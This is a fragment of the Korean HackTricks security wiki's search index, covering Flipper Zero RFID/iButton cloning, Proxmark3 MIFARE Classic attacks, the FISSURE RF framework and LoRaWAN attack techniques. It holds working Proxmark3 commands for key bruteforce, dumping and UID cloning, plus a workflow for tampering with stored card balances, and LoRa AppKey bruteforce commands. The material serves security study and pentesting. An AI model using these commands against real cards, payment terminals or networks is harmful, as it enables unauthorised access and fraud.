» FZ - iButton » FZ - iButton","id":"10400","title":"FZ - iButton"},"10401":{"body":"iButton에 대한 더 많은 정보는 다음을 확인하세요: iButton","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - iButton » Intro","id":"10401","title":"Intro"},"10402":{"body":"다음 이미지의 파란색 부분은 Flipper가 읽을 수 있도록 실제 iButton을 넣어야 하는 방법 입니다. 녹색 부분은 Flipper zero로 iButton을 올바르게 에뮬레이트하기 위해 리더에 접촉해야 하는 방법 입니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - iButton » Design","id":"10402","title":"Design"},"10403":{"body":"","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - iButton » Actions","id":"10403","title":"Actions"},"10404":{"body":"읽기 모드에서 Flipper는 iButton 키가 접촉하기를 기다리며, Dallas, Cyfral, Metakom 의 세 가지 유형의 키를 소화할 수 있습니다. Flipper는 키의 유형을 스스로 파악합니다 . 키 프로토콜의 이름은 ID 번호 위의 화면에 표시됩니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - iButton » Read","id":"10404","title":"Read"},"10405":{"body":"Dallas, Cyfral, Metakom 유형의 iButton을 수동으로 추가하는 것이 가능합니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - iButton » Add manually","id":"10405","title":"Add manually"},"10406":{"body":"저장된 iButton(읽기 또는 수동 추가된)을 에뮬레이트하는 것이 가능합니다. tip Flipper Zero의 예상 접촉이 리더에 닿지 않는 경우 외부 GPIO를 사용할 수 있습니다:","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - iButton » Emulate","id":"10406","title":"Emulate"},"10407":{"body":"https://blog.flipperzero.one/taming-ibutton/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - iButton » References","id":"10407","title":"References"},"10408":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - 125kHz RFID » FZ - 125kHz RFID","id":"10408","title":"FZ - 125kHz RFID"},"10409":{"body":"125kHz 태그가 작동하는 방식에 대한 자세한 정보는 다음을 확인하세요: Pentesting RFID","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - 125kHz RFID » Intro","id":"10409","title":"Intro"},"1041":{"body":"정적 검사 – 아카이브 항목을 나열하고 ../, ..\\\\\\\\, 절대 경로 (C:) 또는 비정규 UTF-8/UTF-16 인코딩이 포함된 이름을 플래그합니다. 샌드박스 추출 – 안전한 추출기(예: Python의 patool, 7-Zip ≥ 최신, bsdtar)를 사용하여 일회용 디렉토리에 압축을 풀고 결과 경로가 디렉토리 내에 있는지 확인합니다. 엔드포인트 모니터링 – WinRAR/7-Zip/etc.로 아카이브가 열린 직후 Startup/Run 위치에 새 실행 파일이 작성되면 경고합니다.","breadcrumbs":"Archive Extraction Path Traversal » 탐지 팁","id":"1041","title":"탐지 팁"},"10410":{"body":"이러한 유형의 태그에 대한 자세한 정보는 이 소개를 읽어보세요 .","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - 125kHz RFID » Actions","id":"10410","title":"Actions"},"10411":{"body":"카드 정보를 읽으려고 시도합니다. 그런 다음 이를 에뮬레이트 할 수 있습니다. warning 일부 인터콤은 읽기 전에 쓰기 명령을 보내어 키 복제를 방지하려고 합니다. 쓰기가 성공하면 해당 태그는 가짜로 간주됩니다. Flipper가 RFID를 에뮬레이트할 때 리더가 원본과 구별할 방법이 없으므로 이러한 문제는 발생하지 않습니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - 125kHz RFID » Read","id":"10411","title":"Read"},"10412":{"body":"Flipper Zero에서 수동으로 데이터를 입력하여 가짜 카드를 생성 할 수 있으며, 그런 다음 이를 에뮬레이트할 수 있습니다. IDs on cards 카드를 받을 때 카드에 ID(또는 일부)가 보이도록 쓰여 있는 경우가 있습니다. EM Marin 예를 들어 이 EM-Marin 카드에서는 물리적 카드에서 마지막 5바이트 중 3바이트를 명확하게 읽을 수 있습니다 . 나머지 2바이트는 카드를 통해 읽을 수 없는 경우 무차별 대입으로 찾을 수 있습니다. HID 이 HID 카드에서도 카드에 인쇄된 3바이트 중 2바이트만 찾을 수 있습니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - 125kHz RFID » Add Manually","id":"10412","title":"Add Manually"},"10413":{"body":"카드를 복사 하거나 ID를 수동으로 입력 한 후 Flipper Zero로 이를 에뮬레이트 하거나 실제 카드에 쓰기 할 수 있습니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - 125kHz RFID » Emulate/Write","id":"10413","title":"Emulate/Write"},"10414":{"body":"https://blog.flipperzero.one/rfid/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - 125kHz RFID » References","id":"10414","title":"References"},"10415":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Proxmark 3 » Proxmark 3","id":"10415","title":"Proxmark 3"},"10416":{"body":"가장 먼저 해야 할 일은 Proxmark3 를 준비하고 install the software and it\'s dependencie s .","breadcrumbs":"Radio Hacking » Proxmark 3 » Proxmark3로 RFID 시스템 공격하기","id":"10416","title":"Proxmark3로 RFID 시스템 공격하기"},"10417":{"body":"이는 16 sectors , 각 섹터는 4 blocks 이며 각 블록은 16B 를 포함합니다. UID는 sector 0 block 0에 있으며(변경할 수 없습니다). 각 섹터에 접근하려면 각 섹터의 block 3 of each sector (sector trailer)에 저장된 2 keys ( A and B )가 필요합니다. 섹터 트레일러는 또한 2 keys 를 사용하여 each block 에 대한 read and write 권한을 부여하는 access bits 를 저장합니다. 2 keys 는 예를 들어 첫 번째 키를 알면 읽기 권한을, 두 번째 키를 알면 쓰기 권한을 부여하는 식으로 유용합니다. 여러 공격을 수행할 수 있습니다 bash proxmark3> hf mf #List attacks proxmark3> hf mf chk *1 ? t ./client/default_keys.dic #Keys bruteforce\\nproxmark3> hf mf fchk 1 t # Improved keys BF proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF # Read block 0 with the key\\nproxmark3> hf mf rdsc 0 A FFFFFFFFFFFF # Read sector 0 with the key proxmark3> hf mf dump 1 # Dump the information of the card (using creds inside dumpkeys.bin)\\nproxmark3> hf mf restore # Copy data to a new card\\nproxmark3> hf mf eload hf-mf-B46F6F79-data # Simulate card using dump\\nproxmark3> hf mf sim *1 u 8c61b5b4 # Simulate card using memory proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to block 1\\nproxmark3> hf mf eget 01 # Read block 1\\nproxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card The Proxmark3는 민감한 데이터를 찾기 위해 eavesdropping 과 같이 Tag to Reader communication 을 도청하는 등 추가 동작을 수행할 수 있습니다. 이 카드의 경우 통신을 스니핑한 뒤 사용된 키를 계산할 수 있는데, 그 이유는 cryptographic operations used are weak 하며 평문(plaintext)과 암호문(ciphertext)을 알면 (mfkey64 도구) 키를 계산할 수 있기 때문입니다. MiFare Classic의 저장값(stored-value) 악용을 위한 빠른 워크플로우 터미널이 Classic 카드에 잔액을 저장할 때, 일반적인 엔드투엔드 흐름은 다음과 같습니다: bash # 1) Recover sector keys and dump full card\\nproxmark3> hf mf autopwn # 2) Modify dump offline (adjust balance + integrity bytes)\\n# Use diffing of before/after top-up dumps to locate fields # 3) Write modified dump to a UID-changeable (\\"Chinese magic\\") tag\\nproxmark3> hf mf cload -f modified.bin # 4) Clone original UID so readers recognize the card\\nproxmark3> hf mf csetuid -u 노트 hf mf autopwn은 nested/darkside/HardNested-style 공격을 조율하고, keys를 복구하며, client dumps folder에 덤프를 생성합니다. Writing block 0/UID는 magic gen1a/gen2 카드에서만 작동합니다. 일반 Classic 카드는 UID가 읽기 전용입니다. 많은 배포에서는 Classic \\"value blocks\\" 또는 단순한 checksums을 사용합니다. 편집 후 중복/보수된 필드와 checksums이 일관되는지 확인하세요. 상위 수준의 방법론 및 완화책은 다음을 참조하세요: Pentesting RFID","breadcrumbs":"Radio Hacking » Proxmark 3 » MIFARE Classic 1KB 공격","id":"10417","title":"MIFARE Classic 1KB 공격"},"10418":{"body":"IoT 시스템은 때때로 nonbranded or noncommercial tags 를 사용합니다. 이 경우 Proxmark3를 사용해 태그로 보낼 커스텀 raw 명령 을 전송할 수 있습니다. bash proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04\\nSAK : 08 [2]\\nTYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1\\nproprietary non iso14443-4 card found, RATS not supported\\nNo chinese magic backdoor command detected\\nPrng detection: WEAK\\nValid ISO14443A Tag Found - Quiting Search 이 정보를 가지고 카드에 대한 정보와 카드와 통신하는 방법을 찾아볼 수 있습니다. Proxmark3는 다음과 같이 원시 명령을 전송할 수 있습니다: hf 14a raw -p -b 7 26","breadcrumbs":"Radio Hacking » Proxmark 3 » Raw 명령","id":"10418","title":"Raw 명령"},"10419":{"body":"Proxmark3 소프트웨어에는 간단한 작업을 수행할 때 사용할 수 있는 자동화 스크립트 목록이 미리 포함되어 있습니다. 전체 목록을 확인하려면 script list 명령을 사용하세요. 그런 다음 script run 명령 다음에 스크립트 이름을 붙여 실행합니다: proxmark3> script run mfkeys 스크립트를 만들어 fuzz tag readers 할 수 있습니다. 즉, valid card 의 데이터를 복사한 뒤 Lua script 로 하나 이상의 무작위 bytes 를 randomize 하고 각 반복에서 reader crashes 하는지 확인하면 됩니다.","breadcrumbs":"Radio Hacking » Proxmark 3 » 스크립트","id":"10419","title":"스크립트"},"1042":{"body":"추출기 업데이트 – WinRAR 7.13은 적절한 경로 정리를 구현합니다. 사용자는 WinRAR에 자동 업데이트 메커니즘이 없기 때문에 수동으로 다운로드해야 합니다. 가능할 경우 “경로 무시” 옵션으로 아카이브를 추출합니다 (WinRAR: 추출 → \\"경로를 추출하지 않음\\" ). 신뢰할 수 없는 아카이브는 샌드박스 또는 VM 내에서 엽니다. 애플리케이션 화이트리스트를 구현하고 사용자 쓰기 액세스를 자동 실행 디렉토리로 제한합니다.","breadcrumbs":"Archive Extraction Path Traversal » 완화 및 강화","id":"1042","title":"완화 및 강화"},"10420":{"body":"Proxmark3 wiki: HF MIFARE Proxmark3 wiki: HF Magic cards NXP statement on MIFARE Classic Crypto1 NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Proxmark 3 » 참고자료","id":"10420","title":"참고자료"},"10421":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 주파수 독립 SDR 기반 신호 이해 및 리버스 엔지니어링 FISSURE는 신호 탐지 및 분류, 프로토콜 발견, 공격 실행, IQ 조작, 취약성 분석, 자동화 및 AI/ML을 위한 훅을 갖춘 모든 기술 수준을 위한 오픈 소스 RF 및 리버스 엔지니어링 프레임워크입니다. 이 프레임워크는 소프트웨어 모듈, 라디오, 프로토콜, 신호 데이터, 스크립트, 흐름 그래프, 참조 자료 및 타사 도구의 신속한 통합을 촉진하기 위해 구축되었습니다. FISSURE는 소프트웨어를 한 곳에 유지하고 팀이 특정 Linux 배포판에 대한 동일한 검증된 기본 구성을 공유하면서 쉽게 속도를 낼 수 있도록 하는 워크플로우 지원 도구입니다. FISSURE에 포함된 프레임워크와 도구는 RF 에너지의 존재를 감지하고, 신호의 특성을 이해하며, 샘플을 수집하고 분석하고, 전송 및/또는 주입 기술을 개발하고, 사용자 정의 페이로드 또는 메시지를 제작하도록 설계되었습니다. FISSURE는 식별, 패킷 제작 및 퍼징을 지원하기 위해 프로토콜 및 신호 정보의 증가하는 라이브러리를 포함하고 있습니다. 온라인 아카이브 기능이 있어 신호 파일을 다운로드하고 트래픽을 시뮬레이션하고 시스템을 테스트하기 위한 재생 목록을 만들 수 있습니다. 친숙한 Python 코드베이스와 사용자 인터페이스는 초보자가 RF 및 리버스 엔지니어링과 관련된 인기 있는 도구와 기술에 대해 빠르게 배울 수 있도록 합니다. 사이버 보안 및 공학 교육자는 내장된 자료를 활용하거나 프레임워크를 사용하여 자신의 실제 응용 프로그램을 시연할 수 있습니다. 개발자와 연구자는 FISSURE를 일상 업무에 사용하거나 최첨단 솔루션을 더 넓은 청중에게 노출할 수 있습니다. FISSURE에 대한 인식과 사용이 커짐에 따라 그 기능의 범위와 포함하는 기술의 폭도 확장될 것입니다. 추가 정보 AIS 페이지 GRCon22 슬라이드 GRCon22 논문 GRCon22 비디오 해킹 채팅 전사","breadcrumbs":"Radio Hacking » FISSURE - The RF Framework » FISSURE - The RF Framework","id":"10421","title":"FISSURE - The RF Framework"},"10422":{"body":"지원되는 운영 체제 FISSURE에는 파일 탐색을 쉽게 하고 코드 중복을 줄이기 위해 세 가지 브랜치가 있습니다. Python2_maint-3.7 브랜치는 Python2, PyQt4 및 GNU Radio 3.7을 기반으로 구축된 코드베이스를 포함하고 있으며; Python3_maint-3.8 브랜치는 Python3, PyQt5 및 GNU Radio 3.8을 기반으로 구축되었고; Python3_maint-3.10 브랜치는 Python3, PyQt5 및 GNU Radio 3.10을 기반으로 구축되었습니다. 운영 체제 FISSURE 브랜치 Ubuntu 18.04 (x64) Python2_maint-3.7 Ubuntu 18.04.5 (x64) Python2_maint-3.7 Ubuntu 18.04.6 (x64) Python2_maint-3.7 Ubuntu 20.04.1 (x64) Python3_maint-3.8 Ubuntu 20.04.4 (x64) Python3_maint-3.8 KDE neon 5.25 (x64) Python3_maint-3.8 진행 중 (베타) 이 운영 체제는 여전히 베타 상태입니다. 개발 중이며 여러 기능이 누락된 것으로 알려져 있습니다. 설치 프로그램의 항목이 기존 프로그램과 충돌하거나 상태가 제거될 때까지 설치에 실패할 수 있습니다. 운영 체제 FISSURE 브랜치 DragonOS Focal (x86_64) Python3_maint-3.8 Ubuntu 22.04 (x64) Python3_maint-3.10 참고: 특정 소프트웨어 도구는 모든 OS에서 작동하지 않습니다. 소프트웨어 및 충돌 을 참조하십시오. 설치 git clone https://github.com/ainfosec/FISSURE.git\\ncd FISSURE\\ngit checkout or or \\ngit submodule update --init\\n./install 이것은 설치 GUI를 시작하는 데 필요한 PyQt 소프트웨어 종속성을 설치합니다. 만약 종속성이 발견되지 않으면 설치가 진행되지 않습니다. 다음으로, 운영 체제에 가장 적합한 옵션을 선택하십시오 (운영 체제가 옵션과 일치하면 자동으로 감지되어야 합니다). Python2_maint-3.7 Python3_maint-3.8 Python3_maint-3.10 install1b install1a install1c 기존의 충돌을 피하기 위해 깨끗한 운영 체제에 FISSURE를 설치하는 것이 권장됩니다. FISSURE 내의 다양한 도구를 운영하는 동안 오류를 피하기 위해 모든 권장 체크박스를 선택하십시오 (기본 버튼). 설치 과정에서 여러 번의 프롬프트가 나타나며, 대부분은 상승된 권한과 사용자 이름을 요청합니다. 항목 끝에 \\"Verify\\" 섹션이 포함된 경우, 설치 관리자는 그 뒤에 오는 명령을 실행하고 명령에 의해 오류가 발생하는지에 따라 체크박스 항목을 초록색 또는 빨간색으로 강조 표시합니다. \\"Verify\\" 섹션이 없는 체크된 항목은 설치 후 검은색으로 유지됩니다. install2 사용법 터미널을 열고 입력하십시오: fissure FISSURE 사용에 대한 자세한 내용은 도움말 메뉴를 참조하십시오.","breadcrumbs":"Radio Hacking » FISSURE - The RF Framework » 시작하기","id":"10422","title":"시작하기"},"10423":{"body":"구성 요소 대시보드 중앙 허브 (HIPRFISR) 목표 신호 식별 (TSI) 프로토콜 발견 (PD) 흐름 그래프 및 스크립트 실행기 (FGE) components 기능 신호 탐지기 IQ 조작 신호 조회 패턴 인식 공격 퍼징 신호 재생 목록 이미지 갤러리 패킷 제작 Scapy 통합 CRC 계산기 로깅 하드웨어 다음은 다양한 통합 수준을 가진 \\"지원되는\\" 하드웨어 목록입니다: USRP: X3xx, B2xx, B20xmini, USRP2, N2xx HackRF RTL2832U 802.11 어댑터 LimeSDR bladeRF, bladeRF 2.0 micro Open Sniffer PlutoSDR","breadcrumbs":"Radio Hacking » FISSURE - The RF Framework » 세부정보","id":"10423","title":"세부정보"},"10424":{"body":"FISSURE는 다양한 기술과 기법에 익숙해지기 위한 여러 유용한 가이드를 제공합니다. 많은 가이드에는 FISSURE에 통합된 다양한 도구를 사용하는 단계가 포함되어 있습니다. Lesson1: OpenBTS Lesson2: Lua Dissectors Lesson3: Sound eXchange Lesson4: ESP Boards Lesson5: Radiosonde Tracking Lesson6: RFID Lesson7: Data Types Lesson8: Custom GNU Radio Blocks Lesson9: TPMS Lesson10: Ham Radio Exams Lesson11: Wi-Fi Tools","breadcrumbs":"Radio Hacking » FISSURE - The RF Framework » 수업","id":"10424","title":"수업"},"10425":{"body":"더 많은 하드웨어 유형, RF 프로토콜, 신호 매개변수, 분석 도구 추가 더 많은 운영 체제 지원 FISSURE에 대한 수업 자료 개발 (RF 공격, Wi-Fi, GNU Radio, PyQt 등) 선택 가능한 AI/ML 기술을 갖춘 신호 조정기, 특징 추출기 및 신호 분류기 생성 알려지지 않은 신호에서 비트스트림을 생성하기 위한 재귀 변조 메커니즘 구현 주요 FISSURE 구성 요소를 일반 센서 노드 배포 계획으로 전환","breadcrumbs":"Radio Hacking » FISSURE - The RF Framework » 로드맵","id":"10425","title":"로드맵"},"10426":{"body":"FISSURE 개선을 위한 제안은 적극 권장됩니다. 다음 사항에 대한 의견이 있으시면 Discussions 페이지나 Discord 서버에 댓글을 남겨주세요: 새로운 기능 제안 및 디자인 변경 설치 단계가 포함된 소프트웨어 도구 새로운 수업 또는 기존 수업에 대한 추가 자료 관심 있는 RF 프로토콜 통합을 위한 더 많은 하드웨어 및 SDR 유형 Python의 IQ 분석 스크립트 설치 수정 및 개선 FISSURE 개선을 위한 기여는 개발을 가속화하는 데 중요합니다. 여러분의 기여에 감사드립니다. 코드 개발을 통해 기여하고 싶으시면, 레포를 포크하고 풀 리퀘스트를 생성해 주세요: 프로젝트 포크 기능 브랜치 생성 (git checkout -b feature/AmazingFeature) 변경 사항 커밋 (git commit -m \'Add some AmazingFeature\') 브랜치에 푸시 (git push origin feature/AmazingFeature) 풀 리퀘스트 열기 버그에 주의를 환기시키기 위한 Issues 생성도 환영합니다.","breadcrumbs":"Radio Hacking » FISSURE - The RF Framework » 기여","id":"10426","title":"기여"},"10427":{"body":"Assured Information Security, Inc. (AIS) 비즈니스 개발팀에 연락하여 FISSURE 협업 기회를 제안하고 공식화하세요. 소프트웨어 통합을 위한 시간 할애, AIS의 재능 있는 인력이 기술적 문제를 해결하기 위한 솔루션 개발, 또는 FISSURE를 다른 플랫폼/응용 프로그램에 통합하는 방법이 될 수 있습니다.","breadcrumbs":"Radio Hacking » FISSURE - The RF Framework » 협업","id":"10427","title":"협업"},"10428":{"body":"GPL-3.0 라이센스 세부정보는 LICENSE 파일을 참조하십시오.","breadcrumbs":"Radio Hacking » FISSURE - The RF Framework » 라이센스","id":"10428","title":"라이센스"},"10429":{"body":"Discord 서버에 참여하세요: https://discord.gg/JZDs5sgxcG Twitter에서 팔로우하세요: @FissureRF , @AinfoSec Chris Poore - Assured Information Security, Inc. - poorec@ainfosec.com 비즈니스 개발 - Assured Information Security, Inc. - bd@ainfosec.com","breadcrumbs":"Radio Hacking » FISSURE - The RF Framework » 연락처","id":"10429","title":"연락처"},"1043":{"body":"2018 – 많은 Java/Go/JS 라이브러리에 영향을 미친 Snyk의 대규모 Zip-Slip 권고. 2023 – -ao 병합 중 유사한 탐색을 가진 7-Zip CVE-2023-4011. 쓰기 전에 PathCanonicalize / realpath를 호출하지 않는 모든 사용자 정의 추출 논리.","breadcrumbs":"Archive Extraction Path Traversal » 추가 영향을 받은 / 역사적 사례","id":"1043","title":"추가 영향을 받은 / 역사적 사례"},"10430":{"body":"다음 개발자들에게 감사드립니다: Credits","breadcrumbs":"Radio Hacking » FISSURE - The RF Framework » 크레딧","id":"10430","title":"크레딧"},"10431":{"body":"이 프로젝트에 기여한 Dr. Samuel Mantravadi와 Joseph Reith에게 특별히 감사드립니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » FISSURE - The RF Framework » 감사의 말","id":"10431","title":"감사의 말"},"10432":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » 저전력 광역 네트워크","id":"10432","title":"저전력 광역 네트워크"},"10433":{"body":"저전력 광역 네트워크 (LPWAN)는 저비트 전송 을 위한 장거리 통신 을 설계한 무선 저전력 광역 네트워크 기술 그룹입니다. 이들은 6마일 이상 도달할 수 있으며, 배터리 는 최대 20년 까지 지속될 수 있습니다. Long Range ( LoRa )는 현재 가장 많이 배포된 LPWAN 물리 계층이며, 그 개방형 MAC 계층 사양은 LoRaWAN 입니다.","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » 소개","id":"10433","title":"소개"},"10434":{"body":"LoRa – Semtech에 의해 개발된 Chirp Spread Spectrum (CSS) 물리 계층 (독점적이지만 문서화됨). LoRaWAN – LoRa-Alliance에서 유지 관리하는 개방형 MAC/네트워크 계층. 1.0.x 및 1.1 버전이 현장에서 일반적입니다. 전형적인 아키텍처: 엔드 장치 → 게이트웨이 (패킷 포워더) → 네트워크 서버 → 애플리케이션 서버 . 보안 모델 은 조인 절차 (OTAA) 중 세션 키를 파생하는 두 개의 AES-128 루트 키 (AppKey/NwkKey)에 의존합니다. 키가 유출되면 공격자는 해당 트래픽에 대한 전체 읽기/쓰기 권한을 얻습니다.","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » LPWAN, LoRa 및 LoRaWAN","id":"10434","title":"LPWAN, LoRa 및 LoRaWAN"},"10435":{"body":"계층 취약점 실질적 영향 PHY 반응형 / 선택적 재밍 단일 SDR 및 <1 W 출력으로 100 % 패킷 손실 입증 MAC Join-Accept 및 데이터 프레임 재전송 (nonce 재사용, ABP 카운터 롤오버) 장치 스푸핑, 메시지 주입, DoS 네트워크 서버 안전하지 않은 패킷 포워더, 약한 MQTT/UDP 필터, 구식 게이트웨이 펌웨어 게이트웨이에 대한 RCE → OT/IT 네트워크로 피벗 애플리케이션 하드코딩되거나 예측 가능한 AppKeys 트래픽 무차별 대입/복호화, 센서 가장","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » 공격 표면 요약","id":"10435","title":"공격 표면 요약"},"10436":{"body":"CVE-2024-29862 – ChirpStack gateway-bridge 및 mqtt-forwarder 가 Kerlink 게이트웨이에서 상태 저장 방화벽 규칙을 우회하는 TCP 패킷을 수용하여 원격 관리 인터페이스 노출을 허용했습니다. 각각 4.0.11 / 4.2.1에서 수정됨. Dragino LG01/LG308 시리즈 – 2022-2024년 동안 여러 CVE (예: 2022-45227 디렉토리 탐색, 2022-45228 CSRF)가 2025년에도 여전히 패치되지 않은 것으로 관찰됨; 수천 개의 공용 게이트웨이에서 인증되지 않은 펌웨어 덤프 또는 구성 덮어쓰기를 활성화함. Semtech 패킷 포워더 UDP 오버플로우 (발표되지 않음, 2023-10 패치): 255 B보다 큰 업링크가 스택 스매시를 유발하여 SX130x 참조 게이트웨이에 대한 RCE를 발생시킴 (Black Hat EU 2023 “LoRa Exploitation Reloaded”에서 발견됨).","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » 최근 취약점 (2023-2025)","id":"10436","title":"최근 취약점 (2023-2025)"},"10437":{"body":"","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » 실용적인 공격 기술","id":"10437","title":"실용적인 공격 기술"},"10438":{"body":"bash # Capture all channels around 868.3 MHz with an SDR (USRP B205)\\npython3 lorattack/sniffer.py \\\\\\n--freq 868.3e6 --bw 125e3 --rate 1e6 --sf 7 --session smartcity # Bruteforce AppKey from captured OTAA join-request/accept pairs\\npython3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » 1. 트래픽 스니핑 및 복호화","id":"10438","title":"1. 트래픽 스니핑 및 복호화"},"10439":{"body":"합법적인 JoinRequest 를 캡처합니다. 원래 장치가 다시 전송하기 전에 즉시 재전송합니다 (또는 RSSI를 증가시킵니다). 네트워크 서버는 새로운 DevAddr 및 세션 키를 할당하는 동안 대상 장치는 이전 세션을 계속 사용합니다 → 공격자는 비어 있는 세션을 소유하고 위조된 업링크를 주입할 수 있습니다.","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » 2. OTAA 조인 재전송 (DevNonce 재사용)","id":"10439","title":"2. OTAA 조인 재전송 (DevNonce 재사용)"},"1044":{"body":"BleepingComputer – WinRAR 제로데이 악용으로 아카이브 추출 시 악성코드 심기 WinRAR 7.13 변경 로그 Snyk – Zip Slip 취약점 보고서 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Archive Extraction Path Traversal » 참조","id":"1044","title":"참조"},"10440":{"body":"SF12/125 kHz를 강제로 설정하여 공중 시간을 증가시킵니다 → 게이트웨이의 듀티 사이클을 소진시킵니다 (서비스 거부) 동시에 공격자에게 배터리 영향을 낮게 유지합니다 (네트워크 수준 MAC 명령만 전송).","breadcrumbs":"Radio Hacking » Low-Power Wide Area Network » 3. 적응형 데이터 전송 속도 (ADR) 다운그레이드","id":"10440","title":"3. 적응형 데이터 전송 속도 (ADR) 다운그레이드"},"10441":{"body":"HackRF One 이 GNU Radio 흐름 그래프를 실행하여 프리앰블이 